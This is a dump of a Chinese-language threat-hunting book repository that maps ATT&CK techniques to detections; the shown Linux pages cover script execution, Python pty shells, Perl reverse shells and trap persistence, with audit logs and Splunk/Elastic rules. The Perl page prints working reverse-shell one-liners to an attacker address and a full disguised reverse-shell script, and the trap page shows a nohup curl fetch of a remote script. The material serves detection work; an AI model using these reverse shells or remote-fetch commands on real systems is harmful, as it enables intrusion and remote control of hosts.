Repository: 12306Bro/Threathunting-book Branch: master Commit: 20e59463d49d Files: 346 Total size: 1.8 MB Directory structure: gitextract_6482vae1/ ├── Linux/ │ ├── 04执行/ │ │ ├── T1059-004-linux-脚本.md │ │ ├── T1059-006-linux-通过Python生成的交互shell.md │ │ ├── T1059-linux-通过Perl生成的交互式shell.md │ │ └── T1154-linux-trap.md │ ├── 05权限维持/ │ │ ├── T1098-004-linux-账户操纵-SSH Authorized Keys.md │ │ ├── T1136-001-linux-创建账户.md │ │ ├── T1546-004-linux-.bash_profile and .bashrc.md │ │ └── T1548-001-linux-Setuid and Setgid.md │ ├── 06权限提升/ │ │ ├── T1548-003-linux-CVE-2019-14287.md │ │ └── T1548-003-linux-Sudo.md │ ├── 07逃避防御/ │ │ ├── T1027-005-linux-主机上的监测组件删除.md │ │ ├── T1070-002-清除Linux或Mac系统日志.md │ │ ├── T1070-003-linux-清除历史记录.md │ │ ├── T1070-004-linux-文件删除.md │ │ ├── T1070-006-Linux-Timestamp.md │ │ ├── T1222-002-linux-文件权限修改.md │ │ ├── T1562-003-linux-Histcontrol.md │ │ └── T1564-001-linux-隐藏文件和目录.md │ ├── 08凭证访问/ │ │ ├── T1110-003-Linux-SSH暴力破解.md │ │ ├── T1552-001-linux-文件中的凭据.md │ │ ├── T1552-003-linux-Bash历史.md │ │ └── T1552-004-linux-私钥.md │ └── 09发现/ │ ├── T1040-linux-网络嗅探.md │ ├── T1046-linux-使用nping扫描探测.md │ ├── T1082-linux-Hping存活主机发现.md │ ├── T1087-001-linux-本地账户发现.md │ └── T1557-002-linux-ARP网络嗅探.md ├── README.md ├── Web/ │ ├── 2020/ │ │ ├── T1190-CVE-2020-0618-SQLserver远程代码执行漏洞.md │ │ ├── T1190-CVE-2020-0688-Exchange漏洞利用检测.md │ │ ├── T1190-CVE-2020-13925-Apache Kylin远程操作系统命令注入漏洞.md │ │ ├── T1190-CVE-2020-14882-Weblogic Console HTTP 协议远程代码执行漏洞.md │ │ ├── T1190-CVE-2020-16875-Exchange漏洞利用监测.md │ │ ├── T1190-CVE-2020-17144-Exchange漏洞利用检测.md │ │ ├── T1190-CVE-2020-1938-Apache Tomcat文件包含漏洞利用检测.md │ │ ├── T1190-CVE-2020-1947-Apache ShardingSphere远程代码执行漏洞.md │ │ ├── T1190-CVE-2020-25540-Thinkadmin v6任意文件读取漏洞.md │ │ ├── T1190-CVE-2020-25790-Typesetter CMS文件上传漏洞.md │ │ ├── T1190-CVE-2020-35754-QuickCms访问控制错误漏洞.md │ │ ├── T1190-CVE-2020-5902-F5_BIG-IP_远程代码执行漏洞.md │ │ └── T1190-CVE-2020-8193-CVE-2020-8195.md │ ├── 2021/ │ │ ├── T1190-CVE-2021-2109_Weblogic_LDAP_远程代码执行漏洞.md │ │ ├── T1190-CVE-2021-21402-Jellyfin任意文件读取漏洞.md │ │ ├── T1190-CVE-2021-21972 Vmware vcenter未授权任意文件读取:RCE漏洞.md │ │ ├── T1190-CVE-2021-41277-Metabase 敏感信息泄露漏洞.md │ │ ├── T1190-CVE-2021-41773-Apache HTTP Server 2.4.49 路径穿越漏洞.md │ │ ├── T1190-CVE-2021-42013-Apache HTTP Server 2.4.50 路径穿越漏洞.md │ │ ├── T1190-CVE-2021-43798-Grafana任意文件读取漏洞.md │ │ ├── T1190-Exchange-ProxyLogon利用行为检测.md │ │ └── T1190-Exchange-ProxyShell利用行为检测.md │ ├── 2022/ │ │ ├── T1190-CNVD-2022-03672-向日葵RCE漏洞.md │ │ ├── T1190-CVE-2022-1388-F5BIG-IP未授权RCE.md │ │ ├── T1190-CVE-2022-22947-Spring Cloud Gateway远程代码执行漏洞.md │ │ ├── T1190-CVE-2022-22954-VMware Workspace ONE Access SSTI远程代码执行.md │ │ ├── T1190-CVE-2022-24124-Casdoor SQL注入漏洞.md │ │ ├── T1190-CVE-2022-26134-Confluence OGNL表达式注入命令执行漏洞.md │ │ ├── T1190-CVE-2022-40127 Apache Airflow代码注入.md │ │ └── T1190-CVE-2022-42889 Apache Commons Text RCE.md │ ├── 2023/ │ │ ├── CVE-2023-23752/ │ │ │ ├── CVE-2023-23752.pcap │ │ │ └── T1190-CVE-2023-23752.md │ │ ├── CVE-2023-25157/ │ │ │ ├── CVE-2023-25157.pcapng │ │ │ └── T1190-CVE-2023-25157.md │ │ ├── CVE-2023-28432/ │ │ │ ├── CVE-2023-28432.pcap │ │ │ └── T1190-CVE-2023-28432.md │ │ ├── CVE-2023-32315/ │ │ │ ├── CVE-2023-32315.pcapng │ │ │ └── T1190-CVE-2023-32315-Openfire管理后台认证绕过.md │ │ ├── CVE-2023-34843/ │ │ │ └── T1190-CVE-2023-34843.md │ │ ├── CVE-2023-35843/ │ │ │ └── T1190-CVE-2023-35843.md │ │ └── other/ │ │ ├── NginxWebUI run Cmd远程命令执行.md │ │ ├── Sapido路由器远程命令执行.md │ │ ├── Smartbi商业智能软件绕过登录.md │ │ ├── 泛微e-cology前台任意用户登录.md │ │ ├── 瑞友天翼应用虚拟化系统存在远程代码执行.md │ │ ├── 用友NC Cloud存在前台远程命令执行.md │ │ ├── 蓝凌oa远程代码执行.md │ │ └── 金蝶K3Cloud反序列化.md │ └── long time/ │ ├── T1133-001-深信服VPN任意密码重置.md │ ├── T1190- Apache Log4j2漏洞利用检测.md │ ├── T1190-CNVD-2017-02833-fastjson1.2.24远程代码执行.md │ ├── T1190-CNVD-2018-24942-thinkphp5.x任意代码执行漏洞.md │ ├── T1190-CVE-2010-1870-S2-005远程代码执行.md │ ├── T1190-CVE-2016-10033-PHPMailer<5.2.18远程代码执行.md │ ├── T1190-CVE-2018-2894-Weblogic任意文件上传检测.md │ ├── T1190-CVE-2019-19781-远程代码执行检测.md │ ├── T1190-CVE-2019-3398-Confluence路径穿越漏洞.md │ ├── T1190-CVE-2019-6339-Drupal远程代码执行漏洞.md │ ├── T1190-Influxdb<1.7.6未授权访问漏洞.md │ ├── T1190-IvBulletin5.X-RCE检测.md │ ├── T1190-JumpServer v2.6.1 RCE攻击检测.md │ ├── T1190-Thinkphp 5.x远程命令执行检测.md │ ├── T1190-泛微OA任意文件读取.md │ ├── T1190-通达V11.6-RCE.md │ ├── T1505-003-webshell-冰蝎v2.0.md │ └── T1505-003-webshell-冰蝎v3.0.md ├── Windows/ │ ├── 00其他/ │ │ └── T*-win-使用User_Del删除用户.md │ ├── 01侦察/ │ │ ├── T1589.001-收集目标组织身份信息-凭证.md │ │ ├── T1589.002-收集目标组织身份信息-邮件地址.md │ │ ├── T1589.003-收集目标组织身份信息-员工姓名.md │ │ ├── T1590-win-DNS记录获取.md │ │ ├── T1590.001-收集目标组织网络信息-域属性.md │ │ ├── T1590.002-收集目标组织网络信息-DNS.md │ │ ├── T1590.003-收集目标组织网络信息-网络信任关系.md │ │ ├── T1590.004-收集目标组织网络信息-网络拓扑.md │ │ ├── T1590.005-收集目标组织网络信息-IP地址.md │ │ ├── T1590.006-收集目标组织网络信息-网络安全设备.md │ │ ├── T1591.001-收集目标组织信息-确定物理位置.md │ │ ├── T1591.002-收集目标组织信息-业务关系.md │ │ ├── T1591.003-收集目标组织信息-确定业务节奏.md │ │ ├── T1591.004-收集目标组织信息-确定角色.md │ │ ├── T1592.001-收集目标组织主机信息-硬件信息.md │ │ ├── T1592.002-收集目标组织主机信息-软件信息.md │ │ ├── T1592.003-收集目标组织主机信息-固件信息.md │ │ ├── T1592.004-收集目标组织主机信息-客户端配置.md │ │ ├── T1593.001-搜索开放的域和网站-社交媒体.md │ │ ├── T1593.002-搜索开放的域和网站-搜索引擎.md │ │ ├── T1594-搜索目标组织所拥有的网站.md │ │ ├── T1595.001-主动扫描-扫描地址段.md │ │ ├── T1595.002-主动扫描-漏洞扫描.md │ │ ├── T1596.001-搜索开放的技术数据库-DNS_被动DNS.md │ │ ├── T1596.002-搜索开放的技术数据库-WHOIS.md │ │ ├── T1596.003-搜索开放的技术数据库-数字签名.md │ │ ├── T1596.004-搜索开放的技术数据库-CDN.md │ │ └── T1596.005-搜索开放的技术数据库-公开的扫描数据库.md │ ├── 02资源开发/ │ │ ├── T1583.001-获取基础设施-域名.md │ │ ├── T1583.002-获取基础设施-DNS服务.md │ │ ├── T1583.003-获取基础设施-虚拟专用服务器.md │ │ ├── T1583.004-获取基础设施-服务器.md │ │ ├── T1583.005-获取基础设施-僵尸网络.md │ │ ├── T1583.006-获取基础设施-web服务.md │ │ ├── T1584.001-入侵基础设施-域名.md │ │ ├── T1584.002-入侵基础设施-DNS服务.md │ │ ├── T1584.003-入侵基础设施-虚拟专用服务器.md │ │ ├── T1584.004-入侵基础设施-服务器.md │ │ ├── T1584.005-入侵基础设施-僵尸网络.md │ │ ├── T1584.006-入侵基础设施-web服务.md │ │ ├── T1585.001-创建账户-社交媒体账户.md │ │ ├── T1585.002-创建账户-电子邮箱账户.md │ │ ├── T1586.001-盗取账户-社交媒体账户.md │ │ ├── T1586.002-盗取账户-电子邮箱账户.md │ │ ├── T1587.001-开发能力-恶意软件.md │ │ ├── T1587.002-开发能力-代码签名证书.md │ │ ├── T1587.003-开发能力-数字证书.md │ │ ├── T1587.004-开发能力-漏洞利用.md │ │ ├── T1588.001-获取能力-恶意软件.md │ │ ├── T1588.002-获取能力-工具.md │ │ ├── T1588.003-获取能力-代码签名证书.md │ │ ├── T1588.004-获取能力-数字证书.md │ │ ├── T1588.005-获取能力-漏洞利用.md │ │ ├── T1588.006-获取能力-漏洞.md │ │ ├── T1608.001-部署能力-部署恶意软件.md │ │ ├── T1608.002-部署能力-部署工具.md │ │ ├── T1608.003-部署能力-安装数字证书.md │ │ ├── T1608.004-部署能力-部署路过式攻击资源.md │ │ └── T1608.005-部署能力-部署链接目标资源.md │ ├── 03初始访问/ │ │ ├── T1078.003-Win-多账户同时登陆.md │ │ ├── T1078.003-Win-来自公网的登陆失败行为.md │ │ ├── T1078.003-Win-账户登录失败.md │ │ ├── T1133-外部远程服务.md │ │ ├── T1190-SQL server滥用.md │ │ ├── T1190-可疑的SQL错误消息.md │ │ ├── T1190-邮箱暴力破解攻击流量分析.md │ │ └── T1566.001-Win-可疑的MS Office子进程.md │ ├── 04执行/ │ │ ├── T1047-win-使用Wmic执行payload(白名单).md │ │ ├── T1047-win-通过WMIC创建远程进程.md │ │ ├── T1053.002-Win-交互式at计划任务.md │ │ ├── T1053.002-Win-通过GPO计划任务进行大规模的持久性和执行.md │ │ ├── T1053.005-Win-schtasks本地计划任务.md │ │ ├── T1059-win-使用Certutil.exe执行Payload(白名单).md │ │ ├── T1059-win-使用Ftp.exe执行Payload(白名单).md │ │ ├── T1059-win-使用wusa卸载系统更新.md │ │ ├── T1059-win-进程生成CMD.md │ │ ├── T1059.001-Win-使用Powershell.exe执行Payload(白名单).md │ │ ├── T1059.001-Win-检测PowerShell2.0版本执行.md │ │ ├── T1059.001-Win-检测PowerShell下载文件.md │ │ ├── T1559.001-Win-利用进程间通信执行-组件对象模型-COM.md │ │ ├── T1559.002-Win-利用进程间通讯执行-动态数据交换-OLE.md │ │ └── T1559.002-win-利用进程间通信执行-动态数据交换-DDE.md │ ├── 05持久化/ │ │ ├── T1078.001-Win-DSRM重置密码.md │ │ ├── T1098-Win-AdminSDHolder.md │ │ ├── T1098-Win-万能密码.md │ │ ├── T1098-Win-账户操作.md │ │ ├── T1136.001-Win-创建本地账户.md │ │ ├── T1137.002-Win-office应用启动程序-office test.md │ │ ├── T1137.004-Win-office应用启动程序-outlook主页.md │ │ ├── T1176-浏览器扩展.md │ │ ├── T1197-Win-BITS Jobs权限维持.md │ │ ├── T1505.003-Regeorg-HTTP隧道检测.md │ │ ├── T1505.003-web服务关联可疑进程识别webshell行为.md │ │ ├── T1543.003-Win-windows服务Dnscmd.exe(白名单).md │ │ ├── T1546.001-Win-事件触发执行-更改默认文件关联.md │ │ ├── T1546.002-Win-事件触发执行-屏幕保护程序.md │ │ ├── T1546.007-Win-通过netsh key持久化.md │ │ ├── T1546.012-Win-事件触发执行-图片文件执行选项注入.md │ │ ├── T1546.015-Win-组件对象模型劫持-Dllhost.exe(白名单).md │ │ ├── T1547.005-Win-SSP权限维持.md │ │ └── T1548.002-Win-绕过用户账户控制-Eventvwr.exe(白名单).md │ ├── 06权限提升/ │ │ ├── T1037.001-Win-Boot或logon初始化脚本-登录脚本.md │ │ ├── T1068-win-权限提升-带有Headless参数的Windows ConHost.md │ │ ├── T1078.003-Win-帐户篡改-可疑的失败登录原因.md │ │ ├── T1134.001-Win-CVE-2020-1472.md │ │ ├── T1134.001-Win-访问令牌操作-Runas命令.md │ │ ├── T1134.005-Win-SID历史记录注入.md │ │ ├── T1548.002-Win-使用Nircmd.exe进行权限提升.md │ │ └── T1574.001-Win-劫持执行流程-DLL搜索顺序劫持.md │ ├── 07逃避防御/ │ │ ├── T1006-win-直接访问卷.md │ │ ├── T1014-win-Rootkit.md │ │ ├── T1027-win-使用pubprn.vbs下载文件(白名单) .md │ │ ├── T1027.003-Win-Ping Hex IP.md │ │ ├── T1027.004-Win-传输后编译csc.exe(白名单).md │ │ ├── T1027.004-Win-使用Csc.exe执行payload(白名单).md │ │ ├── T1027.005-Win-SDelete删除文件.md │ │ ├── T1036-win-隐藏用户账户带$符号.md │ │ ├── T1036.003-Win-重命名程序名称.md │ │ ├── T1036.004-Win-伪装服务或任务.md │ │ ├── T1070-001-win-使用wevtutil命令删除日志.md │ │ ├── T1070-001-win-清除事件日志.md │ │ ├── T1070-004-win-使用Fsutil删除卷USN日志.md │ │ ├── T1070-004-win-文件删除.md │ │ ├── T1070-004-win-通过Rmdir删除Windows文件.md │ │ ├── T1070-005-win-删除网络共享连接.md │ │ ├── T1070.001-Win-检测cipher.exe删除数据.md │ │ ├── T1127-Win-使用Msbuild.exe执行payload(白名单).md │ │ ├── T1127-win-受信任的开发者实用程序代理执行-Aspnet_compiler.exe(白名单).md │ │ ├── T1127-win-受信任的开发者实用程序代理执行-Jsc.exe(白名单).md │ │ ├── T1140-win-去混淆解码文件或信息.md │ │ ├── T1202-win-间接命令执行-基于Explorer.exe执行payload(白名单).md │ │ ├── T1202-win-间接命令执行-基于Forfiles执行payload(白名单).md │ │ ├── T1202-win-间接命令执行-基于Pcalua执行payload(白名单).md │ │ ├── T1216-win-签名脚本代理执行.md │ │ ├── T1216.001-Win-签名脚本代理执行-PubPrn.md │ │ ├── T1218-Win-使用Atbroker.exe执行payload(白名单).md │ │ ├── T1218.001-Win-使用Compiler.exe执行payload(白名单).md │ │ ├── T1218.001-Win-签名的二进制代理执行-编译HTML文件.md │ │ ├── T1218.002-Win-使用Control.exe执行payload(白名单).md │ │ ├── T1218.003-Win-使用Cmstp.exe执行Payload(白名单).md │ │ ├── T1218.004-Win-使用Installutil.exe执行payload(白名单).md │ │ ├── T1218.005-Win-使用Mshta.exe执行payload(白名单).md │ │ ├── T1218.007-Win-使用Msiexec.exe执行Payload(白名单).md │ │ ├── T1218.008-Win-使用Odbcconf.exe执行Payload(白名单).md │ │ ├── T1218.009-Win-使用Regasm.exe执行payload(白名单).md │ │ ├── T1218.011-Win-使用Rundll32.exe执行payload(白名单).md │ │ ├── T1218.011-Win-使用Zipfldr.dll执行Payload(白名单).md │ │ ├── T1218.011-Win-通过Rundll32的异常网络链接.md │ │ ├── T1220-win-XSL Script Processing.md │ │ ├── T1221-win-模板注入.md │ │ ├── T1222.001-Win-文件权限修改.md │ │ ├── T1548.002-Win-使用Dism删除Defender.md │ │ ├── T1550.003-Win-黄金票据.md │ │ ├── T1562-win-使用Bcdedit禁用DEP安全机制.md │ │ ├── T1562.001-Win-使用Net stop关闭Windefend.md │ │ ├── T1562.001-Win-使用Netsh关闭windows防火墙.md │ │ ├── T1562.001-Win-卸载安全工具使用的驱动程序-fltMC.exe(白名单).md │ │ ├── T1562.001-Win-绕过Sysmon.md │ │ ├── T1562.006-Win-停止日志采集.md │ │ ├── T1564.001-Win-发现攻击者在回收站中隐藏恶意软件.md │ │ ├── T1564.001-Win-隐藏的文件和目录.md │ │ └── T1564.003-Win-隐藏窗口.md │ ├── 08凭证访问/ │ │ ├── T1003-004-win-LSA-mimikatz凭证转储.md │ │ ├── T1003-win-Procdump凭证转储.md │ │ ├── T1003-win-vaultcmd获取系统凭证基本信息.md │ │ ├── T1003-win-使用Windows任务管理器转储Lsass.exe内存.md │ │ ├── T1003-win-使用comsvc​​s.dll转储Lsass.exe内存.md │ │ ├── T1003.002-Win-基于Sam-reg凭证转储.md │ │ ├── T1003.003-Win-ToDesk_向日葵密码读取.md │ │ ├── T1003.003-Win-vssown.vbs获取NTDS.dit.md │ │ ├── T1003.003-Win-使用Ntdsutil获得NTDS.dit文件.md │ │ ├── T1003.003-Win-基于NTDS进行凭证获取1.md │ │ ├── T1003.003-Win-基于NTDS进行凭证获取2.md │ │ ├── T1003.003-Win-基于应用日志检测Ntdsutil获取凭证.md │ │ ├── T1003.005-Win-DCC2-mimikatz凭证转储.md │ │ ├── T1003.006-Win-Dcsysnc-凭证转储.md │ │ ├── T1098-win-万能密码.md │ │ ├── T1098-win-账户操作.md │ │ ├── T1110-暴力破解.md │ │ ├── T1110.003-Win-密码喷射.md │ │ ├── T1212-win-ms14-068-KEKEO.md │ │ ├── T1212-win-ms14-068-PYKEK.md │ │ ├── T1552.001-Win-文件中的凭证.md │ │ ├── T1552.002-Win-注册表中的凭证.md │ │ ├── T1552.006-Win-GPP-凭证转储.md │ │ ├── T1555.003-Win-来自web浏览器的凭证.md │ │ ├── T1555.005-Win-cmdkey获取凭据(白名单).md │ │ ├── T1555.005-Win-命令行获取Finalshell软件保存的公钥.md │ │ ├── T1555.005-Win-常见凭据存放位置.md │ │ ├── T1558.003-Win-SPN-凭证转储.md │ │ └── T1558.003-Win-kerberosing.md │ ├── 09发现/ │ │ ├── T1007-win-系统服务发现.md │ │ ├── T1010-win-应用程序窗口发现.md │ │ ├── T1012-win-查询注册表.md │ │ ├── T1016-win-系统网络配置发现.md │ │ ├── T1018-win-远程系统发现.md │ │ ├── T1033-win-系统所有者及用户发现.md │ │ ├── T1040-win-使用netsh进行网络嗅探.md │ │ ├── T1049-win-bloodhound使用.md │ │ ├── T1049-win-系统网络连接发现.md │ │ ├── T1057-win-进程发现.md │ │ ├── T1069.001-Win-本地特权组用户枚举.md │ │ ├── T1082-win-系统信息发现.md │ │ ├── T1083-win-文件和目录发现.md │ │ ├── T1120-win-周边设备发现.md │ │ ├── T1124-win-系统时间发现.md │ │ ├── T1135-win-网络共享发现.md │ │ ├── T1201-win-密码策略发现.md │ │ ├── T1482-win-活动目录信息获取检测.md │ │ ├── T1518-win-发现安全软件.md │ │ └── T1614.002-Win-地理位置发现.md │ ├── 10横向移动/ │ │ ├── T1021.001-Win-使用Start_Rdp开启远程桌面服务.md │ │ ├── T1021.002-Win-基于PsExec执行payload(白名单).md │ │ ├── T1021.002-Win-管理员共享.md │ │ ├── T1021.006-Win-远程powershell会话.md │ │ ├── T1210-win-异常的SMB链接行为.md │ │ ├── T1210-win-检测到匿名计算机账户更改的使用.md │ │ ├── T1550.002-Win-哈希传递.md │ │ └── T1563.002-Win-远程服务会话劫持-RDP劫持.md │ ├── 11收集/ │ │ ├── T1056.001-Win-键盘记录.md │ │ ├── T1114.001-Win-本地电子邮件收集.md │ │ ├── T1119-win-Seatbelt自动收集信息.md │ │ ├── T1123-win-使用AudioDeviceCmdlets进行音频收集.md │ │ ├── T1123-win-使用soundrec进行音频收集.md │ │ └── T1560.001-Win-通过Winrar压缩收集数据.md │ ├── 12命令与控制/ │ │ ├── T1008-备用通信通道.md │ │ ├── T1071.001-应用层协议-网络协议.md │ │ ├── T1071.002-win-内网FTP链接到公网行为.md │ │ ├── T1071.004-win-内网主机向公网DNS发起可疑请求行为.md │ │ ├── T1090.001-Win-链接代理.md │ │ ├── T1092-通过可移动媒介传播.md │ │ ├── T1095-非应用层协议.md │ │ ├── T1105-Windows Update可滥用于执行恶意程序行为检测.md │ │ ├── T1105-win-入口工具转移-AppInstaller.exe(白名单、失效).md │ │ ├── T1105-win-入口工具转移-CertReq.exe(白名单).md │ │ ├── T1105-win-入口工具转移-Finger.exe(白名单).md │ │ ├── T1105-win-入口工具转移-IMEWDBLD.exe(白名单).md │ │ ├── T1105-win-入口工具转移-desktopimgdownldr.exe(白名单).md │ │ ├── T1105-win-入口工具转移-ieexec.exe (白名单).md │ │ ├── T1105-win-利用cmdl32进行文件下载行为(白名单).md │ │ ├── T1105-win-命令提示符网络链接.md │ │ ├── T1568.002-动态解析-域名生成算法(DGA).md │ │ ├── T1571-非标准端口.md │ │ └── T1573-标准加密协议.md │ ├── 13数据外泄/ │ │ ├── T1020-Win-自动渗出.md │ │ └── T1567-win-通过Web服务进行渗透-DataSvcUtil.exe(白名单).md │ └── 14影响/ │ ├── T1489-win-停止服务.md │ ├── T1490-win-禁止系统恢复.md │ ├── T1529-win-系统关机或重启.md │ └── T1531-win-账户访问权限删除.md └── link.md ================================================ FILE CONTENTS ================================================ ================================================ FILE: Linux/04执行/T1059-004-linux-脚本.md ================================================ # T1059-004-Linux-脚本 ## 来自ATT&CK的描述 攻击者可能会滥用Unix shell命令和脚本来执行。Unix shell是Linux和macOS系统上的主要命令提示符,尽管Unix shell存在许多变体(例如sh,bash,zsh等),具体取决于特定的OS或发行版。Unix shell可以使用某些要求提升特权的命令来控制系统的各个方面。 Unix shell还支持脚本,这些脚本支持顺序执行命令以及其他典型的编程操作,例如条件和循环。Shell脚本的常见用法包括冗长或重复的任务,或者需要在多个系统上运行同一组命令。 攻击者可能会滥用Unix shell来执行各种命令或有效载荷。可以通过命令和控制通道或在横向移动期间(例如使用SSH)访问交互式外壳。攻击者还可以利用Shell脚本在受害者上传递或执行多个命令,或者作为用于持久性的有效载荷的一部分。 ## 测试案例 如何在linux下进行模拟和测试?我们可以创建一个简单bash脚本,并执行它。观察它在日志中留下的痕迹。 ## 检测日志 linux audit日志 (值得注意的是:Ubuntu默认情况下没有audit,需要下载安装并配置相关策略) ## 测试复现 icbc@icbc:/hacker$ bash 1.bash ## 测试留痕 icbc@icbc:/$ cat /var/log/audit/audit.log type=SYSCALL msg=audit(1565352677.388:1524): arch=c000003e syscall=59 success=yes exit=0 a0=564608ddc330 a1=564608dbd8c0 a2=564608de3970 a3=8 items=2 ppid=2095 pid=2807 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=4 comm="bash" exe="/usr/bin/bash" key="auditcmd" type=EXECVE msg=audit(1565352677.388:1524): argc=2 a0="bash" a1="1.bash" type=CWD msg=audit(1565352677.388:1524): cwd="/hacker" type=PATH msg=audit(1565352677.388:1524): item=0 name="/usr/bin/bash" inode=2228277 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 ## 检测规则/思路 ### splunk规则 index = linux sourcetype = linux_audit syscall = 59 | table host,syscall,syscall_name,exe,auid ### 建议 值得注意的是:我们只是把环境中的脚本执行行为记录下来,如果没有设置白名单,那么我们需要消耗大量的精力用于处理误报。 ## 参考推荐 MITRE-ATT&CK-T1059-004 Audit配置手册 ================================================ FILE: Linux/04执行/T1059-006-linux-通过Python生成的交互shell.md ================================================ # T1059-006-Linux-通过Python生成的交互shell ## 来自ATT&CK的描述 攻击者可能会滥用Python命令和脚本来执行。Python是一种非常流行的脚本编程语言,具有执行许多功能的能力。Python可以从命令行交互地执行(通过python.exe解释器)或通过可以编写和分发到不同系统的脚本(.py)。Python代码也可以编译成二进制可执行文件。 Python自带了很多内置的包来和底层系统交互,比如文件操作和设备I/O。攻击者可以使用这些库来下载和执行命令或其他脚本以及执行各种恶意行为。 ## 测试案例 python交互式shell常见命令: ``` bash python -c 'import pty; pty.spawn("/bin/bash")' python -c 'import pty; pty.spawn("/bin/sh")' python -c 'import pty; pty.spawn("/bin/dash")' ``` ## 检测日志 未知 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 ### elastic ``` yml query = ''' event.category:process and event.type:(start or process_started) and process.name:python* and process.args:("import pty; pty.spawn(\"/bin/sh\")" or "import pty; pty.spawn(\"/bin/dash\")" or "import pty; pty.spawn(\"/bin/bash\")") ''' ``` ### 建议 对数据源要求较高,需要正确配置相关策略记录相关命令参数,才能够使用该规则。 ## 参考推荐 MITRE-ATT&CK-T1059-006 Interactive Terminal Spawned via Python 实现交互式shell的几种方式 ================================================ FILE: Linux/04执行/T1059-linux-通过Perl生成的交互式shell.md ================================================ # T1059-Linux-通过Perl生成的交互式shell ## 来自ATT&CK的描述 攻击者可能滥用命令和脚本解释器来执行命令、脚本或二进制文件。这些接口和语言提供了与计算机系统交互的方式,并且是许多不同平台的共同特征。大多数系统都带有一些内置的命令行界面和脚本功能,例如:macOS和Linux发行版包括一些Unix Shell,而Windows安装包括Windows Command Shell和PowerShell。 还有跨平台解释器,例如Python ,以及通常与客户端应用程序相关的解释器,例如JavaScript和Visual Basic。 攻击者可能会滥用Unix shell来执行各种命令或有效载荷。可以通过命令和控制通道或在横向移动期间(例如使用SSH)访问交互式外壳。攻击者还可以利用Shell脚本在受害者上传递或执行多个命令,或者作为用于持久性的有效载荷的一部分。 ## 测试案例 通过Perl生成终端(tty)。攻击者可以将简单的反向shell升级为完全获得对主机的初始访问权限后的交互式tty。 ``` bash perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' # 用这条命令,唯一的不同是提示符变成了sh-4.1#,实现原理和前面的bash差不多 ``` 依赖于/bin/sh的shell:这条语句比上面的更为简短,而且确实不需要依赖/bin/sh ``` bash perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' ``` 完整版的perl反弹shell脚本 ``` perl # !/usr/bin/perl -w # perl-reverse-shell - A Reverse Shell implementation in PERL use strict; use Socket; use FileHandle; use POSIX; my $VERSION = "1.0"; # Where to send the reverse shell. Change these. my $ip = '127.0.0.1'; my $port = 1234; # Options my $daemon = 1; my $auth = 0; # 0 means authentication is disabled and any # source IP can access the reverse shell my $authorised_client_pattern = qr(^127\.0\.0\.1$); # Declarations my $global_page = ""; my $fake_process_name = "/usr/sbin/apache"; # Change the process name to be less conspicious $0 = "[httpd]"; # Authenticate based on source IP address if required if (defined($ENV{'REMOTE_ADDR'})) { cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}"); if ($auth) { unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) { cgiprint("ERROR: Your client isn't authorised to view this page"); cgiexit(); } } } elsif ($auth) { cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access"); cgiexit(0); } # Background and dissociate from parent process if required if ($daemon) { my $pid = fork(); if ($pid) { cgiexit(0); # parent exits } setsid(); chdir('/'); umask(0); } # Make TCP connection for reverse shell socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp')); if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) { cgiprint("Sent reverse shell to $ip:$port"); cgiprintpage(); } else { cgiprint("Couldn't open reverse shell to $ip:$port: $!"); cgiexit(); } # Redirect STDIN, STDOUT and STDERR to the TCP connection open(STDIN, ">&SOCK"); open(STDOUT,">&SOCK"); open(STDERR,">&SOCK"); $ENV{'HISTFILE'} = '/dev/null'; system("w;uname -a;id;pwd"); exec({"/bin/sh"} ($fake_process_name, "-i")); # Wrapper around print sub cgiprint { my $line = shift; $line .= "

\n"; $global_page .= $line; } # Wrapper around exit sub cgiexit { cgiprintpage(); exit 0; # 0 to ensure we don't give a 500 response. } # Form HTTP response using all the messages gathered by cgiprint so far sub cgiprintpage { print "Content-Length: " . length($global_page) . "\r Connection: close\r Content-Type: text\/html\r\n\r\n" . $global_page; } ``` ## 检测日志 无 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 ### elastic ``` yml query = ''' event.category:process and event.type:(start or process_started) and process.name:perl and process.args:("exec \"/bin/sh\";" or "exec \"/bin/dash\";" or "exec \"/bin/bash\";") ''' ``` ### 建议 对数据源要求较高,需要正确配置相关策略记录相关命令参数,才能够使用该规则。 ## 参考推荐 MITRE-ATT&CK-T1059 Linux下反弹shell的种种方式 Interactive Terminal Spawned via Perl ================================================ FILE: Linux/04执行/T1154-linux-trap.md ================================================ # T1154-Linux-trap ## 来自ATT&CK的描述 该`trap`命令允许程序和shell指定在接收中断信号时将执行的命令。常见的情况是脚本允许正常终止和处理常见的键盘中断,如`ctrl+c`和`ctrl+d`。攻击者可以使用它来注册当shell遇到特定中断以执行或作为持久性机制时要执行的代码。陷阱命令具有以下格式`trap 'command list' signals`,其中当接收到“信号”时将执行“命令列表”。 ## 测试案例 ``` bash trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh # 脚本即使在退出后(ctrl + c)也会继续执行程序/脚本。 trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh ``` 关于trap、nohup命令的更多解释,你可以查看参考链接部分。 ## 检测日志 bash历史命令 ## 测试复现 ``` bash icbc@icbc:/$ trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh > ^C ``` ## 测试留痕 ``` bash icbc@icbc:/$ history 693 trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh ``` 